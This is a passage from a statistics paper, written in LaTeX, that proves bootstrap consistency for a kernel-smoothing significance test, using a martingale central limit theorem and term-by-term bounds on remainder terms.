& & -\dfrac{1}{\left(n-3\right)\left(n-4\right)}\times\dfrac{1}{n^{\left(2\right)}}\sum_{a}\eta_{i}\hat{u}_{i}\eta_{j}\hat{u}_{j}L_{nij}^{2}K_{nij}\psi_{ij}\\
& = & I_{0n}^{*}-\dfrac{2}{n-4}I_{1,1,1}^{*}-\dfrac{1}{n-4}I_{1,1,2}^{*}-\dfrac{1}{\left(n-3\right)\left(n-4\right)}I_{1,1,3}^{*}.\end{aligned}$$
Now let $D_{n}^{*}=\tilde{I}_{n}^{*}-I_{0n}^{*}$ and write $$\begin{aligned}
\Pr\left(\dfrac{nh^{p/2}\tilde{I}_{n}^{*}}{\tilde{\omega}_{n}^{*}}
\leq t\mid\overline{Z}\right) & = &
\!\!\Pr\left(\dfrac{nh^{p/2}\left(I_{0n}^{*}+D_{n}^{*}\right)}{\tilde{\omega}_{n}^{*}}
\leq t\mid\overline{Z}\right)\\
& = &
\!\!\Pr\!\!\left(\dfrac{nh^{p/2}I_{0n}^{*}}{\widehat{\omega}_{n}}
+\dfrac{nh^{p/2}D_{n}^{*}}{\widehat{\omega}_{n}}
+\dfrac{nh^{p/2}\left(I_{0n}^{*}+D_{n}^{*}\right)}{\widehat{\omega}_{n}}
\left(\dfrac{\tilde{\omega}_{n}}{\widehat{\omega}_{n}^{*}}-1\right)
\leq t\mid\overline{Z}\right).\end{aligned}$$ It thus suffices to prove that $$\Pr\left(\dfrac{nh^{p/2}I_{0n}^{*}}{\hat{\omega}_{n,FL}}\leq
t\mid\overline{Z}\right)-\Phi\left(t\right)\xrightarrow{p}0 \qquad \forall t \in \mathbb{R}\, ,$$ $$\label{r_star_1}
\dfrac{nh^{p/2}D_{n}^{*}}{\hat{\omega}_{n,FL}}=o_p(1)\, ,\qquad \text{ and } \qquad \dfrac{nh^{p/2}\left(I_{0n}^{*}+D_{n}^{*}\right)}{\hat{\omega}_{n,FL}}\left(\dfrac{\hat{\omega}_{n,FL}}{\hat{\omega}_{n,LV}^{*}}-1\right) =o_{p}\left(1\right).$$ The first result is stated below.
Under the conditions of Theorem \[Bootstrap Consistency\], conditionally on the observed sample, the statistic $nh^{p/2}I_{0n}^{*}/\hat{\omega}_{n,FL}$ converges in law to a standard normal distribution. \[BootstrapNormality\]
We proceed as in the proof of Proposition \[Normality\] and check the conditions for a CLT for martingale arrays, see Corollary 3.1 of [@Hall1980]. Define the martingale array $\left\{
S_{n,m}^{*},\,\mathcal{F}_{n,m}^{*},\,1\leq m\leq n,\, n\geq1\right\}
$ where $\mathcal{F}_{n,m}^{*}$ is the $\sigma$-field generated by $\left\{ \overline{Z},\,\eta_{1},\,\dots,\eta_{m}\right\} $, $S_{n,1}^{*}=0$, and $S_{n,m}^{*}=\sum_{i=1}^{m}G_{n,i}^{*}$ with $$G_{n,i}^{*}=\dfrac{2h^{p/2}}{n-1}\eta_{i}\hat{u}_{i}\sum_{j=1}^{i-1}\eta_{j}\hat{u}_{j}\hat{f}_{i}\hat{f}_{j}K_{nij}\psi_{ij}
\, .$$ Then $$I_{0n}^{*} =
\dfrac{\left(n-1\right)^{2}}{\left(n-3\right)\left(n-4\right)}\times\dfrac{1}{n^{\left(2\right)}}\sum_{a}\eta_{i}\hat{u}_{i}\eta_{j}\hat{u}_{j}\hat{f}_{i}\hat{f}_{j}K_{nij}\psi_{ij}
=
\dfrac{\left(n-1\right)^{2}}{\left(n-3\right)\left(n-4\right)} S_{n,n}^{*}
\, .$$ Now consider $$\begin{aligned}
V_{n}^{2*} & = & \sum_{i=2}^{n}\mathbb{E}\left[G_{n,i}^{2*}\mid\mathcal{F}_{n,i-1}^{*}\right]\\
& = & \dfrac{4h^{p}}{\left(n-1\right)^{2}}\sum_{i=2}^{n}\sum_{j=1}^{i-1}\sum_{k=1}^{i-1}\hat{u}_{i}^{2}\eta_{j}\eta_{k}\hat{u}_{j}\hat{u}_{k}\hat{f}_{i}^{2}\hat{f}_{j}\hat{f}_{k}K_{nij}K_{nik}\psi_{ij}\psi_{ik}\\
& = & \dfrac{4h^{p}}{\left(n-1\right)^{2}}\sum_{i=2}^{n}\sum_{j=1}^{i-1}\hat{u}_{i}^{2}\eta_{j}^{2}\hat{u}_{j}^{2}\hat{f}_{i}^{2}\hat{f}_{j}^{2}K_{nij}^{2}\psi_{ij}^{2}\\
& & +\dfrac{8h^{p}}{\left(n-1\right)^{2}}\sum_{i=3}^{n}\sum_{j=2}^{i-1}\sum_{k=1}^{j-1}\hat{u}_{i}^{2}\eta_{j}\eta_{k}\hat{u}_{j}\hat{u}_{k}\hat{f}_{i}^{2}\hat{f}_{j}\hat{f}_{k}K_{nij}K_{nik}\psi_{ij}\psi_{ik}\\
& = & A_{n}^{*}+B_{n}^{*}.\end{aligned}$$ Note that $\mathbb{E}\left[A_{n}^{*}\mid\overline{Z}\right]=[n/(n-1)]\mathbb{E}\left[\widehat{\omega}_{n}^{2}\right]$ and that
$$\begin{aligned}
\mbox{Var}\left[\tilde{A}_{n}^{*}\mid\overline{Z}\right] & \leq & \dfrac{16h^{2p}\mathbb{E}\left[\eta^{4}\right]}{\left(n-1\right)^{4}}\sum_{i=2}^{n}\sum_{i^{\prime}=2}^{n}\sum_{j=1}^{i\wedge i^{\prime}-1}\hat{u}_{i}^{2}\hat{u}_{i^{\prime}}^{2}\hat{u}_{j}^{4}\hat{f}_{i}^{2}\hat{f}_{i^{\prime}}^{2}\hat{f}_{j}^{4}K_{nij}^{2}K_{ni^{\prime}j}^{2}\psi_{ij}^{2}\psi_{i^{\prime}j}^{2}\\
& \leq & \dfrac{16h^{2p}\mathbb{E}\left[\eta^{4}\right]}{\left(n-1\right)^{4}}\sum_{i=2}^{n}\sum_{j=1}^{i-1}\hat{u}_{i}^{4}\hat{u}_{j}^{4}\hat{f}_{i}^{4}\hat{f}_{j}^{4}K_{nij}^{4}\psi_{ij}^{4}\\
& & +\dfrac{32h^{2p}\mathbb{E}\left[\eta^{4}\right]}{\left(n-1\right)^{4}}\sum_{i=3}^{n}\sum_{i^{\prime}=2}^{i-1}\sum_{j=1}^{i^{\prime}-1}\hat{u}_{i}^{2}\hat{u}_{i^{\prime}}^{2}\hat{u}_{j}^{4}\hat{f}_{i}^{2}\hat{f}_{i^{\prime}}^{2}\hat{f}_{j}^{4}K_{nij}^{2}K_{ni^{\prime}j}^{2}\psi_{ij}^{2}\psi_{i^{\prime}j}^{2}\\
&=& Q_{1n}+Q_{2n}.\end{aligned}$$
On the other hand, $$\begin{aligned}
\mathbb{E}\left[B_{n}^{*2}\mid\overline{Z}\right] & = & \dfrac{64h^{2p}}{\left(n-1\right)^{4}}\sum_{i=3}^{n}\sum_{i^{\prime}=3}^{n}\sum_{j=2}^{i\wedge i^{\prime}-1}\sum_{k=1}^{j-1}\hat{u}_{i}^{2}\hat{u}_{i^{\prime}}^{2}\hat{u}_{j}^{2}\hat{u}_{k}^{2}\hat{f}_{i}^{2}\hat{f}_{i^{\prime}}^{2}\hat{f}_{j}^{2}\hat{f}_{k}^{2}K_{nij}K_{ni^{\prime}j}K_{nik}K_{ni^{\prime}k}\psi_{ij}\psi_{i^{\prime}j}\psi_{ik}\psi_{i^{\prime}k}\\
& = & \dfrac{64h^{2p}}{\left(n-1\right)^{4}}\sum_{i=3}^{n}\sum_{j=2}^{i-1}\sum_{k=1}^{j-1}\hat{u}_{i}^{4}\hat{u}_{j}^{2}\hat{u}_{k}^{2}\hat{f}_{i}^{4}\hat{f}_{j}^{2}\hat{f}_{k}^{2}K_{nij}^{2}K_{nik}^{2}\psi_{ij}^{2}\psi_{ik}^{2}\\
& & +\dfrac{128h^{2p}}{\left(n-1\right)^{4}}\sum_{i=4}^{n}\sum_{i^{\prime}=3}^{i-1}\sum_{j=2}^{i^{\prime}-1}\sum_{k=1}^{j-1}\hat{u}_{i}^{2}\hat{u}_{i^{\prime}}^{2}\hat{u}_{j}^{2}\hat{u}_{k}^{2}\hat{f}_{i}^{2}\hat{f}_{i^{\prime}}^{2}\hat{f}_{j}^{2}\hat{f}_{k}^{2}K_{nij}K_{ni^{\prime}j}K_{nik}K_{ni^{\prime}k}\psi_{ij}\psi_{i^{\prime}j}\psi_{ik}\psi_{i^{\prime}k}
\\
&=& Q_{3n}+Q_{4n}.\end{aligned}$$ Finally the Lindeberg condition involves $$\begin{aligned}
& \sum_{i=1}^{n}\mathbb{E}\left[G_{n,i}^{2*}I\left(\left|G_{n,i}^{*}\right|>\varepsilon\right)\mid\mathcal{F}_{n,i-1}^{*}\right]\\
\leq & \dfrac{1}{\varepsilon^{4}}\sum_{i=1}^{n}\mathbb{E}\left[G_{n,i}^{4*}\mid\mathcal{F}_{n,i-1}^{*}\right]\\
\leq & \dfrac{16h^{2p}\mathbb{E}\left[\eta^{4}\right]}{\varepsilon^{4}\left(n-1\right)^{4}}\sum_{i=2}^{n}\sum_{j=1}^{i-1}\sum_{k=1}^{i-1}\hat{u}_{i}^{4}\hat{u}_{j}^{2}\hat{u}_{k}^{2}\hat{f}_{i}^{4}\hat{f}_{j}^{2}\hat{f}_{k}^{2}K_{nij}^{2}K_{nik}^{2}\psi_{ij}^{2}\psi_{ik}^{2}\\
\leq & \dfrac{16h^{2p}\mathbb{E}\left[\eta^{4}\right]}{\varepsilon^{4}\left(n-1\right)^{4}}\sum_{i=2}^{n}\sum_{j=1}^{i-1}\hat{u}_{i}^{4}\hat{u}_{j}^{4}\hat{f}_{i}^{4}\hat{f}_{j}^{4}K_{nij}^{4}\psi_{ij}^{4}\\
& +\dfrac{32h^{2p}\mathbb{E}\left[\eta^{4}\right]}{\varepsilon^{4}\left(n-1\right)^{4}}\sum_{i=3}^{n}\sum_{j=2}^{i-1}\sum_{k=1}^{j-1}\hat{u}_{i}^{4}\hat{u}_{j}^{2}\hat{u}_{k}^{2}\hat{f}_{i}^{4}\hat{f}_{j}^{2}\hat{f}_{k}^{2}K_{nij}^{2}K_{nik}^{2}\psi_{ij}^{2}\psi_{ik}^{2}\\
&= Q_{5n}+Q_{6n}.\end{aligned}$$ It thus suffices to show that $Q_{jn}= o_{p}(1)$, $j=1,\ldots 6$. Now, there exist positive random variables $\tilde{\gamma}_{1n}$ and $\tilde{\gamma}_{2n}$ such that $\tilde{\gamma}_{1n}+\tilde{\gamma}_{2n}=o_{p}\left(1\right)$ and $$\hat{u}_{i}^{2k}\hat{f}_{i}^{2k}\leq
3^{2k-1} \left(u_{i}^{2k}f_{i}^{2k}+Y_{i}^{2k}f_{i}^{2k}
\tilde{\gamma}_{1n}^{2k}+\tilde{\gamma}_{2n}^{2k}\right)
\qquad \forall 1\leq i\leq n \quad \mbox{and } \quad \forall k = 1,2
\in\left\{ 1,2\right\}
\, .$$ Indeed, $
\hat{u}_{i}\hat{f}_{i} =
u_{i}f_{i}+Y_{i}f_{i}f_{i}^{-1}\left(\hat{f}_{i}-f_{i}\right)
+\left[\hat{r}_{i}\hat{f}_{i}-r_{i}f_{i}\right]
= u_{i}f_{i}+Y_{i}f_{i}\gamma_{1i}-\gamma_{2i}
$, where $\sup_{1\leq i\leq
n}\left|\gamma_{ji}\right|\leq\tilde{\gamma_{j}}$ and $\tilde{\gamma_{j}}=o_{p}\left(1\right)$ by Lemma \[unif\_omeg\]. Hence $$\hat{u}_{i}^{2}\hat{f}_{i}^{2}\leq3\left(u_{i}^{2}f_{i}^{2}+Y_{i}^{2}f_{i}^{2}
\tilde{\gamma}_{1n}^{2}+\tilde{\gamma}_{2n}^{2}\right)
\, .$$ The inequality for $k=2$ is obtained similarly. Using these inequalities, one can bound the expectations of $|Q_{1n}|$ to $|Q_{6n}|$ and thus show that $|Q_{1n}|+\cdots+|Q_{6n}|=o_p(1)$.
Next we show (\[r\_star\_1\]). First we need the following.
Under the conditions of Theorem \[Bootstrap Consistency\], $\dfrac{\hat{\omega}_{n,FL}}{\hat{\omega}_{n,FL}^{*}}\xrightarrow{p}1
$ and $
\dfrac{\hat{\omega}_{n,FL}}{\hat{\omega}_{n,LV}^{*}}\xrightarrow{p}1
$. \[VarianceBootstrap\]
The proof uses the following result, which is proved in the Appendix.
\[DeltaUiStar\] Under the conditions of Theorem \[Bootstrap Consistency\], $\sup_{1\leq i\leq n} |\hat{u}_{i}^{*}\hat{f}_{i}-u_{i}^{*}\hat{f}_{i}| = o_{p}\left(1\right)$, where $u_{i}^{*} =\eta_{i} \widehat{u}_{i}$ and $$\hat{u}_{i}^{*} = Y_{i}^{*}-\dfrac{\sum_{k\neq i}Y_{k}^{*}L_{nik}}{\sum_{k\neq i}L_{nik}}
\, .$$
Using Lemma \[DeltaUiStar\], we have $$\hat{\omega}_{n,FL}^{*2}=\omega_{n}^{*2}+o_{p}\left(1\right)$$ where $\omega_{n}^{*2}=\dfrac{2h^{p}}{n^{\left(2\right)}}\sum_{a}u_{i}^{*2}u_{j}^{*2}\hat{f}_{i}^{2}\hat{f}_{j}^{2}K_{nij}^{2}\psi_{ij}^{2}$. Notice that $\mathbb{E}\left[\omega_{n}^{*2}\mid\overline{Z}\right]=\hat{\omega}_{n,FL}^{2}$ and that $$\mbox{Var}\left(\omega_{n}^{*2}-\hat{\omega}_{n,FL}^{2}\right) = \mbox{Var}\left(\mathbb{E}\left[\omega_{n}^{*2}-\hat{\omega}_{n,FL}^{2}\mid\overline{Z}\right]\right)
+\mathbb{E}\left[\mbox{Var}\left(\omega_{n}^{*2}\mid\overline{Z}\right)\right]$$ where the first term is zero and $$\mbox{Var}\left(\omega_{n}^{*2}\mid\overline{Z}\right)=\dfrac{8h^{2p}\mbox{Var}\left(\eta^{2}\right)}{\left\{n^{\left(2\right)}\right\}^{2}}\sum_{a}\hat{u}_{i}^{4}\hat{u}_{j}^{4}\hat{f}_{i}^{4}\hat{f}_{j}^{4}K_{nij}^{4}\psi_{ij}^{4}.$$ Then, $$\dfrac{\hat{\omega}_{n,FL}}{\hat{\omega}_{n,FL}^{*}}=1+\dfrac{\hat{\omega}_{n,FL}-\hat{\omega}_{n,FL}^{*}}{\hat{\omega}_{n,FL}^{*}}=1+\dfrac{o_{p}\left(1\right)}{\omega^{2}\left[1+o_{p}\left(1\right)\right]} = 1+o_p(1).$$ Since $\hat{\omega}_{n,LV}^{*}-\hat{\omega}_{n,FL}^{*}$ contains only diagonal terms, we deduce that $\hat{\omega}_{n,FL}/\hat{\omega}_{n,LV}^{*}\xrightarrow{p}1.$
We next have to bound $D_{n}^{*}=I_{n,LV}^{*}-I_{0n}^{*}.$ For this, let us decompose $$\hat{r}_{i}-\hat{r}_{k}=\left(\hat{r}_{i}-r_{i}\right)-\left(\hat{r}_{k}-r_{k}\right)+\left(r_{i}-r_{k}\right)$$ and replace all such differences appearing in the definition of $D_{n}^{*}$. First, let us look at $I_{3}^{*}$ which does not contain any bootstrap variable $\eta.$ We obtain $$\begin{aligned}
I_{3}^{*} & = & \dfrac{1}{n^{\left(4\right)}}\sum_{a}\left(\hat{r}_{i}-\hat{r}_{k}\right)\left(\hat{r}_{j}-\hat{r}_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& = & \dfrac{1}{n^{\left(4\right)}}\sum_{a}\left(r_{i}-r_{k}\right)\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij} \\
& & +\dfrac{1}{n^{\left(4\right)}}\sum_{a}\left(\hat{r}_{i}-r_{i}\right)\left(\hat{r}_{j}-r_{j}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{n^{\left(4\right)}}\sum_{a}\left(\hat{r}_{k}-r_{k}\right)\left(\hat{r}_{l}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{2}{n^{\left(4\right)}}\sum_{a}\left(\hat{r}_{i}-r_{i}\right)\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & -\dfrac{2}{n^{\left(4\right)}}\sum_{a}\left(\hat{r}_{k}-r_{k}\right)\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & -\dfrac{2}{n^{\left(4\right)}}\sum_{a}\left(\hat{r}_{k}-r_{k}\right)\left(\hat{r}_{j}-r_{j}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& = & I_{3,1}^{*}+I_{3,2}^{*}+I_{3,3}^{*}+2I_{3,4}^{*}-2I_{3,5}^{*}-2I_{3,6}^{*}.\end{aligned}$$ Next, use the fact that $$\begin{aligned}
\label{dsqa}
\hat{r}_{i}-r_{i} & = & \left(n-1\right)^{-1}\hat{f}_{i}^{-1}\sum_{i^{\prime}\neq i}\left(Y_{i^{\prime}}-r_{i}\right)L_{nii^{\prime}}\nonumber \\
& = & \left(n-1\right)^{-1}\hat{f}_{i}^{-1}\sum_{i^{\prime}\neq i}\left(r_{i^{\prime}}-r_{i}\right)L_{nii^{\prime}}+\left(n-1\right)^{-1}\hat{f}_{i}^{-1}\sum_{i^{\prime}\neq i}u_{i^{\prime}}L_{nii^{\prime}}\end{aligned}$$ and further replace terms like $\hat{r}_{i}-r_{i}.$ Among the terms $I_{3,1}^{*}$ to $I_{3,6}^{*},$ the term $I_{3,1}^{*}$ could be easily handled with existing results in [@Lavergne2000]. Namely $nh^{p/2}I_{3,1}^{*}=nh^{p/2}O_p\left(g^{2s}\right)+o_p\left(1\right)$ by Proposition 7 of [@Lavergne2000]. For the other five terms we have to control the density estimates appearing in the denominators. For this purpose, let us introduce the notation $\Delta\left(f_{i}^{I}\right)^{-1}=\left(\hat{f}_{i}^{I}\right)^{-1}-f_{i}^{-1}$ and write $$\label{zzae}
\dfrac{n-\left|I\right|}{n-1}\times\hat{f}_{i}^{-1} = \left(\dfrac{\left(n-\left|I\right|\right)\hat{f}_{i}^{I}}{\left(n-1\right)\hat{f}_{i}}-1\right)\left(\hat{f}_{i}^{I}\right)^{-1}+\left(\hat{f}_{i}^{I}\right)^{-1}
= \dfrac{\sum_{k\in I}L_{nik}}{\left(n-1\right)\hat{f}_{i}\hat{f}_{i}^{I}}+\Delta\left(f_{i}^{I}\right)^{-1}+f_{i}^{-1}.$$ Then, we obtain for instance $$\begin{aligned}
I_{3,5}^{*}&= & \dfrac{1}{n^{\left(4\right)}}\sum_{a}\left(\hat{r}_{k}-r_{k}\right)\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& = & \dfrac{1}{n^{\left(5\right)}}\sum_{a\left(4\right)}\sum_{k^{\prime}\neq k}f_{k}^{-1}\left(r_{k^{\prime}}-r_{k}\right)\left(r_{j}-r_{l}\right)L_{nkk^{\prime}}L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{n^{\left(5\right)}}\sum_{a\left(4\right)}\sum_{k^{\prime}\neq k}\Delta\left(f_{k}^{i,j,l,k^{\prime}}\right)^{-1}\left(r_{k^{\prime}}-r_{k}\right)\left(r_{j}-r_{l}\right)L_{nkk^{\prime}}L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{\left(n-1\right)n^{\left(5\right)}}\sum_{a\left(4\right)}\sum_{k^{\prime}\neq k}\left(\hat{f}_{k}\hat{f}_{k}^{i,j,l,k^{\prime}}\right)^{-1}\left(L_{nik}+L_{njk}+L_{nlk}+L_{nk^{\prime}k}\right)\\
&& \qquad \qquad \qquad \qquad \qquad \qquad \times \left(r_{k^{\prime}}-r_{k}\right)\left(r_{j}-r_{l}\right)L_{nkk^{\prime}}L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{n^{\left(5\right)}}\sum_{a\left(4\right)}\sum_{k^{\prime}\neq k}f_{k}^{-1}u_{k^{\prime}}\left(r_{j}-r_{l}\right)L_{nkk^{\prime}}L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{n^{\left(5\right)}}\sum_{a\left(4\right)}\sum_{k^{\prime}\neq k}\Delta f_{k}^{-1}u_{k^{\prime}}\left(r_{j}-r_{l}\right)L_{nkk^{\prime}}L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{\left(n-1\right)n^{\left(5\right)}}\sum_{a\left(4\right)}\sum_{k^{\prime}\neq k}\left(\hat{f}_{k}\hat{f}_{k}^{i,j,l,k^{\prime}}\right)^{-1}\left(L_{nik}+L_{njk}+L_{nlk}+L_{nk^{\prime}k}\right)\\
&& \qquad \qquad \qquad \qquad \qquad \qquad \times u_{k^{\prime}}\left(r_{j}-r_{l}\right)L_{nkk^{\prime}}L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& = & I_{3,5,1}^{*}+I_{3,5,2}^{*}+I_{3,5,3}^{*}+I_{3,5,4}^{*}+I_{3,5,5}^{*}+I_{3,5,6}^{*}.\end{aligned}$$ Next, if we consider for instance $I_{3,5,1}^{*}$ that contains only terms like $f_{i}^{-1}$ appearing from the decomposition \[zzae\], we obtain $$\begin{aligned}
I_{3,5,1}^{*} & = & \dfrac{1}{n^{\left(5\right)}}\sum_{a\left(5\right)}f_{k}^{-1}\left(r_{k^{\prime}}-r_{k}\right)\left(r_{j}-r_{l}\right)L_{nkk^{\prime}}L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{n^{\left(5\right)}}\sum_{a\left(4\right)}f_{k}^{-1}\left(r_{i}-r_{k}\right)\left(r_{j}-r_{l}\right)L_{nik}^{2}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{n^{\left(5\right)}}\sum_{a\left(4\right)}f_{k}^{-1}\left(r_{j}-r_{k}\right)\left(r_{j}-r_{l}\right)L_{njk}L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{n^{\left(5\right)}}\sum_{a\left(4\right)}f_{k}^{-1}\left(r_{l}-r_{k}\right)\left(r_{j}-r_{l}\right)L_{nlk}L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& = & I_{3,5,1,1}^{*}+I_{3,5,1,2}^{*}+I_{3,5,1,3}^{*}+I_{3,5,1,4}^{*}\end{aligned}$$ where the terms $I_{3,5,1,2}^{*}$ to $I_{3,5,1,4}^{*}$ are called “diagonal terms”. Such terms require more restrictions on the bandwidths. next, the terms with containing terms like $\Delta\left(f_{i}^{I}\right)^{-1}$ produced by the decomposition (\[zzae\]) can be treated like in the Propositions 8 to 11 of Lavergne et Vuong (2000). Finally, given that $I$ is finite and with fixed cardinal $$\left(n-1\right)^{-1}\hat{f}_{i}^{-1}\left(\hat{f}_{i}^{I}\right)^{-1}\sum_{k\in I}L_{nik}=O_{p}\left(n^{-1}g^{-p}\right)=o_p(1)$$ given that $\left\Vert f^{-1}\right\Vert _{\infty}<\infty.$ Therefore the terms of $I_{3}^{*}$ containing $\left(n-1\right)^{-1}\hat{f}_{i}^{-1}\left(\hat{f}_{i}^{I}\right)^{-1}\sum_{k\in I}L_{nik}$ can be easily handled by taking absolute values. Now let us investigate the diagonal term $I_{3,5,1,2}^{*}$. We have $$\begin{aligned}
\label{eq:diagonalTerm}
\mathbb{E}\left[|I_{3,5,1,2}^{*}|\right] \nonumber
& = & O\left(n^{-1}\right)\mathbb{E}\left[f_{k}^{-1}\left|r_{j}-r_{k}\right|\left|r_{j}-r_{l}\right||L_{njk}||L_{nik}||L_{njl}||K_{nij}|\right]\nonumber\\
& = & O\left(n^{-1}g^{-p}\right)\mathbb{E}\left[f_{k}^{-1}\left|r_{j}-r_{k}\right|\left|r_{j}-r_{l}\right||L_{njk}||L_{njl}||K_{nij}|\right]\nonumber\\
& = & O\left(n^{-1}g^{-p}\right)\mathbb{E}\left[f_{k}^{-1}\left|r_{j}-r_{k}\right||L_{njk}|\mathbb{E}\left[\left|r_{j}-r_{l}\right||L_{njl}|\mid Z_{j}\right]|K_{nij}|\right]\nonumber\\
& = & o\left(n^{-1}g^{-p}\right)\mathbb{E}\left[f_{k}^{-1}\left|r_{j}-r_{k}\right||L_{njk}||K_{nij}|\right]\nonumber\\
& = & o\left(n^{-1}g^{-p}\right)\nonumber.\end{aligned}$$ To prove that he term $I_{3,5,1,2}^{*}= o_p(nh^{p/2})$ it suffices to prove $\mathbb{E}\left[|I_{3,5,1,2}^{*}|\right]= o(nh^{p/2})$ and this latter rate is implied by the condition $h/g^2 = o(1).$ This additional condition on the bandwidths is not surprising as the bootstrapped statistic introduced “diagonal” terms as in Fan et Li (1996) which indeed require the condition $h/g^{2}\to 0$.
Let us now consider a term in the decomposition of $D_{n}^{*}$ that involve bootstrap variables $\eta$, namely we investigate $I_{2}^{*}.$ The arguments for the other terms are similar. Consider $$\begin{aligned}
I_{2}^{*} & = & \dfrac{1}{n^{\left(4\right)}}\sum_{a}\left(\eta_{i}\hat{u}_{i}-\eta_{k}\hat{u}_{k}\right)\left(\hat{r}_{j}-\hat{r}_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& = & \dfrac{1}{n^{\left(4\right)}}\sum_{a}\eta_{i}\hat{u}_{i}\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}
+\dfrac{1}{n^{\left(4\right)}}\sum_{a}\eta_{i}\hat{u}_{i}\left(\hat{r}_{j}-r_{j}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & -\dfrac{1}{n^{\left(4\right)}}\sum_{a}\eta_{i}\hat{u}_{i}\left(\hat{r}_{l}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}
-\dfrac{1}{n^{\left(4\right)}}\sum_{a}\eta_{k}\hat{u}_{k}\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & -\dfrac{1}{n^{\left(4\right)}}\sum_{a}\eta_{k}\hat{u}_{k}\left(\hat{r}_{j}-r_{j}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}
+\dfrac{1}{n^{\left(4\right)}}\sum_{a}\eta_{k}\hat{u}_{k}\left(\hat{r}_{l}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& = & I_{2,1}^{*}+I_{2,2}^{*}-I_{2,3}^{*}-I_{2,4}^{*}-I_{2,5}^{*}+I_{2,6}^{*}.\end{aligned}$$ Next it suffices to use the fact that $$\hat{u}_{i}=u_{i}-\hat{f}_{i}^{-1}\sum_{i^{\prime}\neq i}u_{i^{\prime}}L_{nii^{\prime}}+\hat{f}_{i}^{-1}\sum_{i^{\prime}\neq i}\left(r_{i}-r_{i^{\prime}}\right)L_{nii^{\prime}}.$$ For instance, using this identity with $I_{2,1}^{*}$ we can write $$\begin{aligned}
I_{2,1}^{*} & = & \dfrac{1}{n^{\left(4\right)}}\sum_{a}\eta_{i}u_{i}\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & -\dfrac{1}{\left(n-1\right)n^{\left(4\right)}}\sum_{a}\sum_{i^{\prime}\neq i}\hat{f}_{i}^{-1}\eta_{i}u_{i^{\prime}}\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{\left(n-1\right)n^{\left(4\right)}}\sum_{a}\sum_{i^{\prime}\neq i}\hat{f}_{i}^{-1}\eta_{i}\left(r_{i}-r_{i^{\prime}}\right)\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& = & \dfrac{1}{n^{\left(3\right)}}\sum_{a}\eta_{i}u_{i}f_{i}\left(r_{j}-r_{l}\right)L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{n^{\left(4\right)}}\sum_{a}\eta_{i}u_{i}\left(r_{j}-r_{l}\right)\Delta f_{i}^{j,l}L_{njl}K_{nij}\psi_{ij}\\
& & -\dfrac{1}{\left(n-1\right)n^{\left(4\right)}}\sum_{a}\sum_{i^{\prime}\neq i}f_{i}^{-1}\eta_{i}u_{i^{\prime}}\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & -\dfrac{1}{n^{\left(5\right)}}\sum_{a}\Delta\left(f_{i}^{j,k,l,i^{\prime}}\right)^{-1}\eta_{i}u_{i^{\prime}}\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & -\dfrac{1}{\left(n-1\right)n^{\left(4\right)}}\sum_{a}\sum_{i^{\prime}\neq i}\left(\hat{f}_{i}\hat{f}_{i}^{j,k,l,i^{\prime}}\right)^{-1}\eta_{i}u_{i^{\prime}}\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{\left(n-1\right)n^{\left(4\right)}}\sum_{a}\sum_{i^{\prime}\neq i}f_{i}^{-1}\eta_{i}\left(r_{i}-r_{i^{\prime}}\right)\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{n^{\left(5\right)}}\sum_{a}\Delta\left(f_{i}^{j,k,l,i^{\prime}}\right)^{-1}\eta_{i}\left(r_{i}-r_{i^{\prime}}\right)\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
& & +\dfrac{1}{n^{\left(5\right)}}\sum_{a}\left(\hat{f}_{i}\hat{f}_{i}^{j,k,l,i^{\prime}}\right)^{-1}\eta_{i}\left(r_{i}-r_{i^{\prime}}\right)\left(r_{j}-r_{l}\right)L_{nik}L_{njl}K_{nij}\psi_{ij}\\
